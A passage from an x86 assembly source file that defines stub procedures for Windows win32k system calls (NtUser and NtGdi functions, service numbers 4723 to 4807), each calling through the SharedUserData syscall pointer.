); NtUserWaitMessage PROC STDCALL mov eax , 4723 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserWaitMessage ENDP ; ULONG __stdcall NtUserWindowFromPhysicalPoint( ULONG arg_01 , ULONG arg_02 ); NtUserWindowFromPhysicalPoint PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4724 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserWindowFromPhysicalPoint ENDP ; ULONG __stdcall NtUserWindowFromPoint( ULONG arg_01 , ULONG arg_02 ); NtUserWindowFromPoint PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4725 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserWindowFromPoint ENDP ; ULONG __stdcall NtUserYieldTask( ); NtUserYieldTask PROC STDCALL mov eax , 4726 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserYieldTask ENDP ; ULONG __stdcall NtUserRemoteConnect( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserRemoteConnect PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4727 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserRemoteConnect ENDP ; ULONG __stdcall NtUserRemoteRedrawRectangle( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserRemoteRedrawRectangle PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4728 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserRemoteRedrawRectangle ENDP ; ULONG __stdcall NtUserRemoteRedrawScreen( ); NtUserRemoteRedrawScreen PROC STDCALL mov eax , 4729 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserRemoteRedrawScreen ENDP ; ULONG __stdcall NtUserRemoteStopScreenUpdates( ); NtUserRemoteStopScreenUpdates PROC STDCALL mov eax , 4730 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserRemoteStopScreenUpdates ENDP ; ULONG __stdcall NtUserCtxDisplayIOCtl( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserCtxDisplayIOCtl PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4731 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserCtxDisplayIOCtl ENDP ; ULONG __stdcall NtUserRegisterSessionPort( ULONG arg_01 , ULONG arg_02 ); NtUserRegisterSessionPort PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4732 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserRegisterSessionPort ENDP ; ULONG __stdcall NtUserUnregisterSessionPort( ); NtUserUnregisterSessionPort PROC STDCALL mov eax , 4733 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserUnregisterSessionPort ENDP ; ULONG __stdcall NtUserUpdateWindowTransform( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserUpdateWindowTransform PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4734 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserUpdateWindowTransform ENDP ; ULONG __stdcall NtUserDwmStartRedirection( ULONG arg_01 ); NtUserDwmStartRedirection PROC STDCALL arg_01:DWORD mov eax , 4735 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserDwmStartRedirection ENDP ; ULONG __stdcall NtUserDwmStopRedirection( ); NtUserDwmStopRedirection PROC STDCALL mov eax , 4736 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserDwmStopRedirection ENDP ; ULONG __stdcall NtUserGetWindowMinimizeRect( ULONG arg_01 , ULONG arg_02 ); NtUserGetWindowMinimizeRect PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4737 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetWindowMinimizeRect ENDP ; ULONG __stdcall NtUserSfmDxBindSwapChain( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserSfmDxBindSwapChain PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4738 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserSfmDxBindSwapChain ENDP ; ULONG __stdcall NtUserSfmDxOpenSwapChain( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserSfmDxOpenSwapChain PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4739 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserSfmDxOpenSwapChain ENDP ; ULONG __stdcall NtUserSfmDxReleaseSwapChain( ULONG arg_01 , ULONG arg_02 ); NtUserSfmDxReleaseSwapChain PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4740 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSfmDxReleaseSwapChain ENDP ; ULONG __stdcall NtUserSfmDxSetSwapChainBindingStatus( ULONG arg_01 , ULONG arg_02 ); NtUserSfmDxSetSwapChainBindingStatus PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4741 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSfmDxSetSwapChainBindingStatus ENDP ; ULONG __stdcall NtUserSfmDxQuerySwapChainBindingStatus( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserSfmDxQuerySwapChainBindingStatus PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4742 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserSfmDxQuerySwapChainBindingStatus ENDP ; ULONG __stdcall NtUserSfmDxReportPendingBindingsToDwm( ); NtUserSfmDxReportPendingBindingsToDwm PROC STDCALL mov eax , 4743 mov edx , 7FFE0300h call dword ptr [edx] ret NtUserSfmDxReportPendingBindingsToDwm ENDP ; ULONG __stdcall NtUserSfmDxGetSwapChainStats( ULONG arg_01 , ULONG arg_02 ); NtUserSfmDxGetSwapChainStats PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4744 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSfmDxGetSwapChainStats ENDP ; ULONG __stdcall NtUserSfmDxSetSwapChainStats( ULONG arg_01 , ULONG arg_02 ); NtUserSfmDxSetSwapChainStats PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4745 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserSfmDxSetSwapChainStats ENDP ; ULONG __stdcall NtUserSfmGetLogicalSurfaceBinding( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserSfmGetLogicalSurfaceBinding PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4746 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserSfmGetLogicalSurfaceBinding ENDP ; ULONG __stdcall NtUserSfmDestroyLogicalSurfaceBinding( ULONG arg_01 ); NtUserSfmDestroyLogicalSurfaceBinding PROC STDCALL arg_01:DWORD mov eax , 4747 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserSfmDestroyLogicalSurfaceBinding ENDP ; ULONG __stdcall NtUserModifyWindowTouchCapability( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserModifyWindowTouchCapability PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4748 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserModifyWindowTouchCapability ENDP ; ULONG __stdcall NtUserIsTouchWindow( ULONG arg_01 , ULONG arg_02 ); NtUserIsTouchWindow PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4749 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserIsTouchWindow ENDP ; ULONG __stdcall NtUserSendTouchInput( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserSendTouchInput PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4750 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserSendTouchInput ENDP ; ULONG __stdcall NtUserEndTouchOperation( ULONG arg_01 ); NtUserEndTouchOperation PROC STDCALL arg_01:DWORD mov eax , 4751 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtUserEndTouchOperation ENDP ; ULONG __stdcall NtUserGetTouchInputInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserGetTouchInputInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4752 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserGetTouchInputInfo ENDP ; ULONG __stdcall NtUserChangeWindowMessageFilterEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtUserChangeWindowMessageFilterEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4753 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtUserChangeWindowMessageFilterEx ENDP ; ULONG __stdcall NtUserInjectGesture( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtUserInjectGesture PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4754 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtUserInjectGesture ENDP ; ULONG __stdcall NtUserGetGestureInfo( ULONG arg_01 , ULONG arg_02 ); NtUserGetGestureInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4755 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserGetGestureInfo ENDP ; ULONG __stdcall NtUserGetGestureExtArgs( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtUserGetGestureExtArgs PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4756 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtUserGetGestureExtArgs ENDP ; ULONG __stdcall NtUserManageGestureHandlerWindow( ULONG arg_01 , ULONG arg_02 ); NtUserManageGestureHandlerWindow PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4757 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtUserManageGestureHandlerWindow ENDP ; ULONG __stdcall NtUserSetGestureConfig( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtUserSetGestureConfig PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4758 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtUserSetGestureConfig ENDP ; ULONG __stdcall NtUserGetGestureConfig( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtUserGetGestureConfig PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4759 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtUserGetGestureConfig ENDP ; ULONG __stdcall NtGdiEngAssociateSurface( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiEngAssociateSurface PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4760 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiEngAssociateSurface ENDP ; ULONG __stdcall NtGdiEngCreateBitmap( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiEngCreateBitmap PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4761 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiEngCreateBitmap ENDP ; ULONG __stdcall NtGdiEngCreateDeviceSurface( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiEngCreateDeviceSurface PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4762 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiEngCreateDeviceSurface ENDP ; ULONG __stdcall NtGdiEngCreateDeviceBitmap( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiEngCreateDeviceBitmap PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4763 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiEngCreateDeviceBitmap ENDP ; ULONG __stdcall NtGdiEngCreatePalette( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiEngCreatePalette PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4764 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiEngCreatePalette ENDP ; ULONG __stdcall NtGdiEngComputeGlyphSet( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiEngComputeGlyphSet PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4765 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiEngComputeGlyphSet ENDP ; ULONG __stdcall NtGdiEngCopyBits( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 ); NtGdiEngCopyBits PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD mov eax , 4766 mov edx , 7FFE0300h call dword ptr [edx] ret 24 NtGdiEngCopyBits ENDP ; ULONG __stdcall NtGdiEngDeletePalette( ULONG arg_01 ); NtGdiEngDeletePalette PROC STDCALL arg_01:DWORD mov eax , 4767 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiEngDeletePalette ENDP ; ULONG __stdcall NtGdiEngDeleteSurface( ULONG arg_01 ); NtGdiEngDeleteSurface PROC STDCALL arg_01:DWORD mov eax , 4768 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiEngDeleteSurface ENDP ; ULONG __stdcall NtGdiEngEraseSurface( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiEngEraseSurface PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4769 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiEngEraseSurface ENDP ; ULONG __stdcall NtGdiEngUnlockSurface( ULONG arg_01 ); NtGdiEngUnlockSurface PROC STDCALL arg_01:DWORD mov eax , 4770 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiEngUnlockSurface ENDP ; ULONG __stdcall NtGdiEngLockSurface( ULONG arg_01 ); NtGdiEngLockSurface PROC STDCALL arg_01:DWORD mov eax , 4771 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiEngLockSurface ENDP ; ULONG __stdcall NtGdiEngBitBlt( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 ); NtGdiEngBitBlt PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD mov eax , 4772 mov edx , 7FFE0300h call dword ptr [edx] ret 44 NtGdiEngBitBlt ENDP ; ULONG __stdcall NtGdiEngStretchBlt( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 ); NtGdiEngStretchBlt PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD mov eax , 4773 mov edx , 7FFE0300h call dword ptr [edx] ret 44 NtGdiEngStretchBlt ENDP ; ULONG __stdcall NtGdiEngPlgBlt( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 ); NtGdiEngPlgBlt PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD mov eax , 4774 mov edx , 7FFE0300h call dword ptr [edx] ret 44 NtGdiEngPlgBlt ENDP ; ULONG __stdcall NtGdiEngMarkBandingSurface( ULONG arg_01 ); NtGdiEngMarkBandingSurface PROC STDCALL arg_01:DWORD mov eax , 4775 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiEngMarkBandingSurface ENDP ; ULONG __stdcall NtGdiEngStrokePath( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 ); NtGdiEngStrokePath PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD mov eax , 4776 mov edx , 7FFE0300h call dword ptr [edx] ret 32 NtGdiEngStrokePath ENDP ; ULONG __stdcall NtGdiEngFillPath( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 ); NtGdiEngFillPath PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD mov eax , 4777 mov edx , 7FFE0300h call dword ptr [edx] ret 28 NtGdiEngFillPath ENDP ; ULONG __stdcall NtGdiEngStrokeAndFillPath( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 ); NtGdiEngStrokeAndFillPath PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD mov eax , 4778 mov edx , 7FFE0300h call dword ptr [edx] ret 40 NtGdiEngStrokeAndFillPath ENDP ; ULONG __stdcall NtGdiEngPaint( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiEngPaint PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4779 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiEngPaint ENDP ; ULONG __stdcall NtGdiEngLineTo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 ); NtGdiEngLineTo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD mov eax , 4780 mov edx , 7FFE0300h call dword ptr [edx] ret 36 NtGdiEngLineTo ENDP ; ULONG __stdcall NtGdiEngAlphaBlend( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 ); NtGdiEngAlphaBlend PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD mov eax , 4781 mov edx , 7FFE0300h call dword ptr [edx] ret 28 NtGdiEngAlphaBlend ENDP ; ULONG __stdcall NtGdiEngGradientFill( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 ); NtGdiEngGradientFill PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD mov eax , 4782 mov edx , 7FFE0300h call dword ptr [edx] ret 40 NtGdiEngGradientFill ENDP ; ULONG __stdcall NtGdiEngTransparentBlt( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 ); NtGdiEngTransparentBlt PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD mov eax , 4783 mov edx , 7FFE0300h call dword ptr [edx] ret 32 NtGdiEngTransparentBlt ENDP ; ULONG __stdcall NtGdiEngTextOut( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 ); NtGdiEngTextOut PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD mov eax , 4784 mov edx , 7FFE0300h call dword ptr [edx] ret 40 NtGdiEngTextOut ENDP ; ULONG __stdcall NtGdiEngStretchBltROP( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 , ULONG arg_13 ); NtGdiEngStretchBltROP PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD , arg_13:DWORD mov eax , 4785 mov edx , 7FFE0300h call dword ptr [edx] ret 52 NtGdiEngStretchBltROP ENDP ; ULONG __stdcall NtGdiXLATEOBJ_cGetPalette( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 ); NtGdiXLATEOBJ_cGetPalette PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD mov eax , 4786 mov edx , 7FFE0300h call dword ptr [edx] ret 16 NtGdiXLATEOBJ_cGetPalette ENDP ; ULONG __stdcall NtGdiXLATEOBJ_iXlate( ULONG arg_01 , ULONG arg_02 ); NtGdiXLATEOBJ_iXlate PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4787 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiXLATEOBJ_iXlate ENDP ; ULONG __stdcall NtGdiXLATEOBJ_hGetColorTransform( ULONG arg_01 ); NtGdiXLATEOBJ_hGetColorTransform PROC STDCALL arg_01:DWORD mov eax , 4788 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiXLATEOBJ_hGetColorTransform ENDP ; ULONG __stdcall NtGdiCLIPOBJ_bEnum( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiCLIPOBJ_bEnum PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4789 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiCLIPOBJ_bEnum ENDP ; ULONG __stdcall NtGdiCLIPOBJ_cEnumStart( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiCLIPOBJ_cEnumStart PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4790 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiCLIPOBJ_cEnumStart ENDP ; ULONG __stdcall NtGdiCLIPOBJ_ppoGetPath( ULONG arg_01 ); NtGdiCLIPOBJ_ppoGetPath PROC STDCALL arg_01:DWORD mov eax , 4791 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiCLIPOBJ_ppoGetPath ENDP ; ULONG __stdcall NtGdiEngDeletePath( ULONG arg_01 ); NtGdiEngDeletePath PROC STDCALL arg_01:DWORD mov eax , 4792 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiEngDeletePath ENDP ; ULONG __stdcall NtGdiEngCreateClip( ); NtGdiEngCreateClip PROC STDCALL mov eax , 4793 mov edx , 7FFE0300h call dword ptr [edx] ret NtGdiEngCreateClip ENDP ; ULONG __stdcall NtGdiEngDeleteClip( ULONG arg_01 ); NtGdiEngDeleteClip PROC STDCALL arg_01:DWORD mov eax , 4794 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiEngDeleteClip ENDP ; ULONG __stdcall NtGdiBRUSHOBJ_ulGetBrushColor( ULONG arg_01 ); NtGdiBRUSHOBJ_ulGetBrushColor PROC STDCALL arg_01:DWORD mov eax , 4795 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiBRUSHOBJ_ulGetBrushColor ENDP ; ULONG __stdcall NtGdiBRUSHOBJ_pvAllocRbrush( ULONG arg_01 , ULONG arg_02 ); NtGdiBRUSHOBJ_pvAllocRbrush PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4796 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiBRUSHOBJ_pvAllocRbrush ENDP ; ULONG __stdcall NtGdiBRUSHOBJ_pvGetRbrush( ULONG arg_01 ); NtGdiBRUSHOBJ_pvGetRbrush PROC STDCALL arg_01:DWORD mov eax , 4797 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiBRUSHOBJ_pvGetRbrush ENDP ; ULONG __stdcall NtGdiBRUSHOBJ_hGetColorTransform( ULONG arg_01 ); NtGdiBRUSHOBJ_hGetColorTransform PROC STDCALL arg_01:DWORD mov eax , 4798 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiBRUSHOBJ_hGetColorTransform ENDP ; ULONG __stdcall NtGdiXFORMOBJ_bApplyXform( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiXFORMOBJ_bApplyXform PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4799 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiXFORMOBJ_bApplyXform ENDP ; ULONG __stdcall NtGdiXFORMOBJ_iGetXform( ULONG arg_01 , ULONG arg_02 ); NtGdiXFORMOBJ_iGetXform PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4800 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiXFORMOBJ_iGetXform ENDP ; ULONG __stdcall NtGdiFONTOBJ_vGetInfo( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 ); NtGdiFONTOBJ_vGetInfo PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD mov eax , 4801 mov edx , 7FFE0300h call dword ptr [edx] ret 12 NtGdiFONTOBJ_vGetInfo ENDP ; ULONG __stdcall NtGdiFONTOBJ_pxoGetXform( ULONG arg_01 ); NtGdiFONTOBJ_pxoGetXform PROC STDCALL arg_01:DWORD mov eax , 4802 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiFONTOBJ_pxoGetXform ENDP ; ULONG __stdcall NtGdiFONTOBJ_cGetGlyphs( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 ); NtGdiFONTOBJ_cGetGlyphs PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD mov eax , 4803 mov edx , 7FFE0300h call dword ptr [edx] ret 20 NtGdiFONTOBJ_cGetGlyphs ENDP ; ULONG __stdcall NtGdiFONTOBJ_pifi( ULONG arg_01 ); NtGdiFONTOBJ_pifi PROC STDCALL arg_01:DWORD mov eax , 4804 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiFONTOBJ_pifi ENDP ; ULONG __stdcall NtGdiFONTOBJ_pfdg( ULONG arg_01 ); NtGdiFONTOBJ_pfdg PROC STDCALL arg_01:DWORD mov eax , 4805 mov edx , 7FFE0300h call dword ptr [edx] ret 4 NtGdiFONTOBJ_pfdg ENDP ; ULONG __stdcall NtGdiFONTOBJ_pQueryGlyphAttrs( ULONG arg_01 , ULONG arg_02 ); NtGdiFONTOBJ_pQueryGlyphAttrs PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4806 mov edx , 7FFE0300h call dword ptr [edx] ret 8 NtGdiFONTOBJ_pQueryGlyphAttrs ENDP ; ULONG __stdcall NtGdiFONTOBJ_pvTrueTypeFontFile( ULONG arg_01 , ULONG arg_02 ); NtGdiFONTOBJ_pvTrueTypeFontFile PROC STDCALL arg_01:DWORD , arg_02:DWORD mov eax , 4807 mov edx , 7FFE0300h call dword ptr [edx] ret 8 